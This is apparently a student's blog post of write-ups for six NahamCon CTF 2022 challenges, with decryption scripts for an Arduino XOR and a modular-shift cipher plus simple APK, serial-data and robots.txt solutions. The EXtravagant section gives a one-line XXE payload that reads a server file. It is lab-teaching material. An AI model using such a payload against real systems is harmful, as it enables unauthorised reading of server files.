Assorted Writeups From NahamCon CTF 2022

Published 2022-05-01
Edited 2023-10-25 (git:05b41b4)

Last week, I had the pleasure of participating in the 2022 NahamCon CTF, created and supported by the hard work of @NahamSec, @/_JohnHammond, and so many others — it was a blast. I competed on behalf of Western Washington University, and I am especially pleased with our performance; as shown in the cover photo, we scored in the top one percent of all teams.

Overall, the event was a profound learning experience, so why not pay that forward? This post contains writeups of the some of the simple challenges personally completed during NahamCon CTF 2022, including Dweeno, Unimod, Cereal, Mobilize, Jurrasic Park, and EXtravagant.

Looking for writeups of other NahamCon CTF 2022 challenges? See my teammate’s blog page!

Dweeno (Hardware)

Screenshot of Dweeno
Screenshot of Dweeno

Dweeno, under the hardware category, dealt with reversing encryption on the challenge flag created by an Arduino Mega. I have never used an Ardunio before — further, the diagram mistakenly listed the wrong microcontroller — so this challenge initially appeared hard to approach.

Provided Files

sketch.pdf

Screenshot of Dweeno sketch.pdf
Screenshot of Dweeno sketch.pdf

setup.webp

Screenshot of Dweeno setup.webp
Screenshot of Dweeno setup.webp

source.ino

 1char * flag = "REDACTED";
 2String curr, first, second;
 3int in1=29, in2=27, in3=25, in4=23;
 4int out1=53, out2=51, out3=49, out4=47;
 5int i;
 6
 7String get_output(String bits) {
 8    String output;
 9    digitalWrite(out1, ((bits[0] == '1')? HIGH : LOW));
10    digitalWrite(out2, ((bits[1] == '1')? HIGH : LOW));
11    digitalWrite(out3, ((bits[2] == '1')? HIGH : LOW));
12    digitalWrite(out4, ((bits[3] == '1')? HIGH : LOW));
13    delay(1000);
14    output += String(digitalRead(in1));
15    output += String(digitalRead(in2));
16    output += String(digitalRead(in3));
17    output += String(digitalRead(in4));
18    return output;
19}
20
21//converts a given number into binary
22String binary(int number) {
23  String r;
24  while(number!=0) {
25    r = (number % 2 == 0 ? "0" : "1")+r; 
26    number /= 2;
27  }
28  while ((int) r.length() < 8) {
29    r = "0"+r;
30  }
31  return r;
32}
33
34void setup() {
35  i = 0;
36  pinMode(out1, OUTPUT);
37  pinMode(out2, OUTPUT);
38  pinMode(out3, OUTPUT);
39  pinMode(out4, OUTPUT);
40  pinMode(in1, INPUT);
41  pinMode(in2, INPUT);
42  pinMode(in3, INPUT);
43  pinMode(in4, INPUT);
44  Serial.begin(9600);
45}
46
47void loop() {
48  if (i < strlen(flag)) {
49    curr = binary(flag[i]);
50    first = curr.substring(0,4);
51    second = curr.substring(4,8);
52    Serial.print(get_output(first));
53    Serial.println(get_output(second));
54    delay(1000);
55    i++;
56  }
57}

output.txt

00110011
00111001
00110100
00110010
00101110
00110100
01100100
01100011
00110111
01101101
01100101
01100111
01100010
00110110
00110011
01100110
01100010
01100001
00110111
01100100
01100100
01100000
00110011
01100010
00110110
01100110
00110000
01100111
00110011
01100011
01100111
01100111
00110001
01101101
01100001
00110111
00110110
00101000

Understanding the Environment

Putting output.txt through a binary to ASCII converter yielded the following, which looked like a shifted version of the original flag (flag{...}).

Screenshot of Dweeno output converted to ASCII chars
Screenshot of Dweeno output converted to ASCII chars

To better understand what the Ardunio did, I found the documentation for the IC on the breadboard. Clearly, the bits of the characters of the flag were simply xored depending on their position. Thus, I annotated the sketch.pdf like so:

Screenshot of Dweeno annotated diagram
Screenshot of Dweeno annotated diagram

Developing a Decryptor

I wrote a Python script to decrypt the flag, which simply reversed the operation performed by the Arduino.

 1#!/usr/bin/env python3
 2
 3import binascii
 4
 5xorPat = int("01010101", 2)
 6
 7with open('output.txt', 'r') as file:
 8    output = file.read().replace('\n', '')
 9
10for bit in range(0, len(output), 8):
11    byte = int(output[bit:bit + 8], 2)
12    flag = byte ^ xorPat
13
14    print(flag.to_bytes((flag.bit_length() + 7) // 8, 'big').decode(), end = '')
15
16print()

Flag

Executing the script I wrote above:

dev ~/projects/ctf/dweeno $ ls
dweeno.py  output.txt
dev ~/projects/ctf/dweeno $ ./dweeno.py 
flag{a16b8027cf374b115f7c3e2f622d84bc}
dev ~/projects/ctf/dweeno $ 

Unimod (Cryptography)

Screenshot of Unimod
Screenshot of Unimod

Unimod (cryptography) was quite simple; all it involved was brute-forcing the reverse of the included cryptographic script.

Provided Files

unimod.py

1import random
2
3flag = open('flag.txt', 'r').read()
4ct = ''
5k = random.randrange(0,0xFFFD)
6for c in flag:
7    ct += chr((ord(c) + k) % 0xFFFD)
8
9open('out', 'w').write(ct)

out

饇饍饂饈饜餕饆餗餙饅餒餗饂餗餒饃饄餓饆饂餘餓饅餖饇餚餘餒餔餕餕饆餙餕饇餒餒饞飫

Developing a Decryptor

I wrote a script to brute force a reverse operation on every key value (k) in the specified range (random.randrange(0,0xFFFD), or 0 to 65533).

 1#!/usr/bin/env python3
 2
 3enc = "饇饍饂饈饜餕饆餗餙饅餒餗饂餗餒饃饄餓饆饂餘餓饅餖饇餚餘餒餔餕餕饆餙餕饇餒餒饞飫"
 4
 5for k in range(0,0xFFFD):
 6    dec = ""
 7    for chars in enc:
 8        dec += (chr((ord(chars) + k) % 0xFFFD))
 9    try:
10        print(dec)
11    except:
12        continue

Flag

Executing the script I wrote above:

dev ~/projects/ctf/unimod $ ./unimod.py | grep -a flag
flag{4e68d16a61bc2ea72d5f971344e84f11}
dev ~/projects/ctf/unimod $ 

Cereal (Hardware)

Screenshot of Cereal
Screenshot of Cereal

Also part of the hardware category, Cereal was another simple challenge. This one involved analyzing serial data transmission (hence the pun) for the flag.

Provided Files

mystery.sal

Analog data; no preview shown.

Flag

I have already performed a similar task on HackTheBox, so I already knew what to do here. Simply opening mystery.sal in Logic 2’s Console View displayed the flag.

Screenshot of Cereal
Screenshot of Cereal


Mobilize (Mobile)

Screenshot of Mobilize
Screenshot of Mobilize

One of the easiest challenges of the competition in my opinion, Mobilize (mobile) had the plaintext string within its APK package.

Provided Files

mobilize.apk

Android application package; no preview provided.

Flag

strings revealed the flag — always check the simple solutions!

slak@parrot:~/ctf/mobilize $ strings mobilize.apk | grep -oP "flag{.*}"
flag{e2e7fd4a43e93ea679d38561fa982682}
slak@parrot:~/ctf/mobilize $ 

Jurrasic Park (Web)

Screenshot of Jurrasic Park
Screenshot of Jurrasic Park

The easiest web challenge, Jurrasic Park had a pointer to the flag on the robots.txt page.

robots.txt

Screenshot of Jurrasic Park
Screenshot of Jurrasic Park

/ingen

Screenshot of Jurrasic Park
Screenshot of Jurrasic Park

Flag

Screenshot of Jurrasic Park flag
Screenshot of Jurrasic Park flag


EXtravagant (Web)

Screenshot of EXtravagant
Screenshot of EXtravagant

EXtravagant (web) was vulnerable to XXE

Crafting an Exploit

PortSwigger’s XXE page helped me create the following exploit to reveal the flag:

1<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///var/www/flag.txt'>]><root>&test;</root>

Using the Exploit

Uploading

Screenshot of uploading EXtravagant exploit XML
Screenshot of uploading EXtravagant exploit XML

Viewing

Screenshot of viewing EXtravagant exploit XML
Screenshot of viewing EXtravagant exploit XML

Flag

Clicking Submit revealed the flag on the webpage.

Screenshot of EXtravagant flag
Screenshot of EXtravagant flag